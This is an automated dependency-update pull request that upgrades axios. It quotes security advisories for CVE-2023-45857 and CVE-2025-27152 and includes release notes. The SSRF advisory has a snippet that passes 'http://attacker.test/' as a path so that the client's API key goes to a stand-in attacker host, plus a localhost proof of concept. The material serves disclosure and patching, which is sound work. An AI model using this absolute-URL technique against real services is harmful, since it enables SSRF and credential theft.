This PR contains the following updates:
GitHub Vulnerability Alerts
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
Summary
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference:axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Details
Consider the following code snippet:
importaxiosfrom"axios";constinternalAPIClient=axios.create({baseURL:"http://example.test/api/v1/users/",headers:{"X-API-KEY":"1234567890",},});// const userId = "123";constuserId="http://attacker.test/";awaitinternalAPIClient.get(userId);// SSRFIn this example, the request is sent tohttp://attacker.test/ instead of thebaseURL. As a result, the domain owner ofattacker.test would receive theX-API-KEY included in the request headers.
It is recommended that:
- When
baseURL is set, passing an absolute URL such ashttp://attacker.test/ toget() should not ignorebaseURL. - Before sending the HTTP request (after combining the
baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expectedbaseURL.
PoC
Follow the steps below to reproduce the issue:
- Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.htmlpython -m http.server -d /tmp/server1 10001 &python -m http.server -d /tmp/server2 10002 &
- Create a script (e.g., main.js):
importaxiosfrom"axios";constclient=axios.create({baseURL:"http://localhost:10001/"});constresponse=awaitclient.get("http://localhost:10002/");console.log(response.data);- Run the script:
$ node main.jsthis is server2
Even thoughbaseURL is set tohttp://localhost:10001/, axios sends the request tohttp://localhost:10002/.
Impact
- Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
- SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
- Affected Users: Software that uses
baseURL and does not validate path parameters is affected by this issue.
Release Notes
axios/axios (axios)
Compare Source
Release notes:
Bug Fixes
Contributors to this release
Full Changelog:axios/axios@v0.29.0...v0.30.0
Compare Source
Release notes:
Bug Fixes
Contributors to this release
Compare Source
Release notes:
Release notes:
Bug Fixes
- fix(backport): custom params serializer support (#6263)
- fix(backport): uncaught ReferenceError
req is not defined (#6307)
Compare Source
Release notes:
Bug Fixes
Backports from v1.x:
- Allow null indexes on formSerializer and paramsSerializer v0.x (#4961)
- Fixing content-type header repeated#4745
- Fixed timeout error message for HTTP 4738
- Added
axios.formToJSON method (#4735) - URL params serializer (#4734)
- Fixed toFormData Blob issue on node>v17#4728
- Adding types for progress event callbacks#4675
- Fixed max body length defaults#4731
- Added data URL support for node.js (#4725)
- Added isCancel type assert (#4293)
- Added the ability for the
url-encoded-form serializer to respect theformSerializer config (#4721) - Add
string[] toAxiosRequestHeaders type (#4322) - Allow type definition for axios instance methods (#4224)
- Fixed
AxiosError stack capturing; (#4718) - Fixed
AxiosError status code type; (#4717) - Adding Canceler parameters config and request (#4711)
- fix(types): allow to specify partial default headers for instance creation (#4185)
- Added
blob to the list of protocols supported by the browser (#4678) - Fixing Z_BUF_ERROR when no content (#4701)
- Fixed race condition on immediate requests cancellation (#4261)
- Added a clear() function to the request and response interceptors object so a user can ensure that all interceptors have been removed from an Axios instance#4248
- Added generic AxiosAbortSignal TS interface to avoid importing AbortController polyfill (#4229)
- Fix TS definition for AxiosRequestTransformer (#4201)
- Use type alias instead of interface for AxiosPromise (#4505)
- Include request and config when creating a CanceledError instance (#4659)
- Added generic TS types for the exposed toFormData helper (#4668)
- Optimized the code that checks cancellation (#4587)
- Replaced webpack with rollup (#4596)
- Added stack trace to AxiosError (#4624)
- Updated AxiosError.config to be optional in the type definition (#4665)
- Removed incorrect argument for NetworkError constructor (#4656)
Compare Source
Fixes and Functionality:
- Fixed FormData posting in browser environment by reverting#3785 (#4640)
- Enhanced protocol parsing implementation (#4639)
- Fixed bundle size
Compare Source
Fixes and Functionality:
- Removed import of url module in browser build due to huge size overhead and builds being broken (#4594)
- Bumped follow-redirects to ^1.14.9 (#4615)
Compare Source
Breaking changes:
- New toFormData helper function that allows the implementor to pass an object and allow axios to convert it to FormData (#3757)
- Removed functionality that removed the the
Content-Type request header when passing FormData (#3785) - (*) Refactored error handling implementing AxiosError as a constructor, this is a large change to error handling on the whole (#3645)
- Separated responsibility for FormData instantiation between
transformRequest andtoFormData (#4470) - (*) Improved and fixed multiple issues with FormData support (#4448)
QOL and DevX improvements:
- Added a multipart/form-data testing playground allowing contributors to debug changes easily (#4465)
Fixes and Functionality:
- Refactored project file structure to avoid circular imports (#4515) & (#4516)
- Bumped follow-redirects to ^1.14.9 (#4562)
Internal and Tests:
- Updated dev dependencies to latest version
Documentation:
- Fixing incorrect link in changelog (#4551)
Notes:
- (*) Please read these pull requests before updating, these changes are very impactful and far reaching.
Compare Source
Fixes and Functionality:
- Refactored project file structure to avoid circular imports (#4220)
Compare Source
Fixes and Functionality:
- Fixed The timeoutErrorMessage property in config not work with Node.js (#3581)
- Added errors to be displayed when the query parsing process itself fails (#3961)
- Fix/remove url required (#4426)
- Update follow-redirects dependency due to Vulnerability (#4462)
- Bump karma from 6.3.11 to 6.3.14 (#4461)
- Bump follow-redirects from 1.14.7 to 1.14.8 (#4473)
Compare Source
Breaking changes:
- Fixing maxBodyLength enforcement (#3786)
- Don't rely on strict mode behaviour for arguments (#3470)
- Adding error handling when missing url (#3791)
- Update isAbsoluteURL.js removing escaping of non-special characters (#3809)
- Use native Array.isArray() in utils.js (#3836)
- Adding error handling inside stream end callback (#3967)
Fixes and Functionality:
- Added aborted even handler (#3916)
- Header types expanded allowing
boolean andnumber types (#4144) - Fix cancel signature allowing cancel message to be
undefined (#3153) - Updated type checks to be formulated better (#3342)
- Avoid unnecessary buffer allocations (#3321)
- Adding a socket handler to keep TCP connection live when processing long living requests (#3422)
- Added toFormData helper function (#3757)
- Adding responseEncoding prop type in AxiosRequestConfig (#3918)
Internal and Tests:
- Adding axios-test-instance to ecosystem (#3786)
- Optimize the logic of isAxiosError (#3546)
- Add tests and documentation to display how multiple inceptors work (#3564)
- Updating follow-redirects to version 1.14.7 (#4379)
Documentation:
- Fixing changelog to show corrext pull request (#4219)
- Update upgrade guide for https proxy setting (#3604)
Huge thanks to everyone who contributed to this release via code (authors listed below) or via reviews and triaging on GitHub:
Compare Source
Breaking changes:
- Revert: change type of AxiosResponse to any, please read lengthy discussion here: (#4141) pull request: (#4186)
Huge thanks to everyone who contributed to this release via code (authors listed below) or via reviews and triaging on GitHub:
Compare Source
Breaking changes:
- Distinguish request and response data types (#4116)
- Change never type to unknown (#4142)
- Fixed TransitionalOptions typings (#4147)
Fixes and Functionality:
- Adding globalObject: 'this' to webpack config (#3176)
- Adding insecureHTTPParser type to AxiosRequestConfig (#4066)
- Fix missing semicolon in typings (#4115)
- Fix response headers types (#4136)
Internal and Tests:
- Improve timeout error when timeout is browser default (#3209)
- Fix node version on CI (#4069)
- Added testing to TypeScript portion of project (#4140)
Documentation:
- Rename Angular to AngularJS (#4114)
Huge thanks to everyone who contributed to this release via code (authors listed below) or via reviews and triaging on GitHub:
Configuration
📅Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated byMend Renovate. View therepository job log.
Uh oh!
There was an error while loading.Please reload this page.
This PR contains the following updates:
^0.22.0->^0.30.0GitHub Vulnerability Alerts
CVE-2023-45857
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
CVE-2025-27152
Summary
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference:axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if
baseURLis set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.Details
Consider the following code snippet:
In this example, the request is sent to
http://attacker.test/instead of thebaseURL. As a result, the domain owner ofattacker.testwould receive theX-API-KEYincluded in the request headers.It is recommended that:
baseURLis set, passing an absolute URL such ashttp://attacker.test/toget()should not ignorebaseURL.baseURLwith the user-provided parameter), axios should verify that the resulting URL still begins with the expectedbaseURL.PoC
Follow the steps below to reproduce the issue:
Even though
baseURLis set tohttp://localhost:10001/, axios sends the request tohttp://localhost:10002/.Impact
baseURLand does not validate path parameters is affected by this issue.Release Notes
axios/axios (axios)
v0.30.0Compare Source
Release notes:
Bug Fixes
Contributors to this release
Full Changelog:axios/axios@v0.29.0...v0.30.0
v0.29.0Compare Source
Release notes:
Bug Fixes
Contributors to this release
v0.28.1Compare Source
Release notes:
Release notes:
Bug Fixes
reqis not defined (#6307)v0.28.0Compare Source
Release notes:
Bug Fixes
withXSRFTokenoption to v0.x (#6091)Backports from v1.x:
axios.formToJSONmethod (#4735)url-encoded-formserializer to respect theformSerializerconfig (#4721)string[]toAxiosRequestHeaderstype (#4322)AxiosErrorstack capturing; (#4718)AxiosErrorstatus code type; (#4717)blobto the list of protocols supported by the browser (#4678)v0.27.2Compare Source
Fixes and Functionality:
v0.27.1Compare Source
Fixes and Functionality:
v0.27.0Compare Source
Breaking changes:
Content-Typerequest header when passing FormData (#3785)transformRequestandtoFormData(#4470)QOL and DevX improvements:
Fixes and Functionality:
Internal and Tests:
Documentation:
Notes:
v0.26.1Compare Source
Fixes and Functionality:
v0.26.0Compare Source
Fixes and Functionality:
v0.25.0Compare Source
Breaking changes:
Fixes and Functionality:
booleanandnumbertypes (#4144)undefined(#3153)Internal and Tests:
Documentation:
Huge thanks to everyone who contributed to this release via code (authors listed below) or via reviews and triaging on GitHub:
v0.24.0Compare Source
Breaking changes:
Huge thanks to everyone who contributed to this release via code (authors listed below) or via reviews and triaging on GitHub:
v0.23.0Compare Source
Breaking changes:
Fixes and Functionality:
Internal and Tests:
Documentation:
Huge thanks to everyone who contributed to this release via code (authors listed below) or via reviews and triaging on GitHub:
Configuration
📅Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated byMend Renovate. View therepository job log.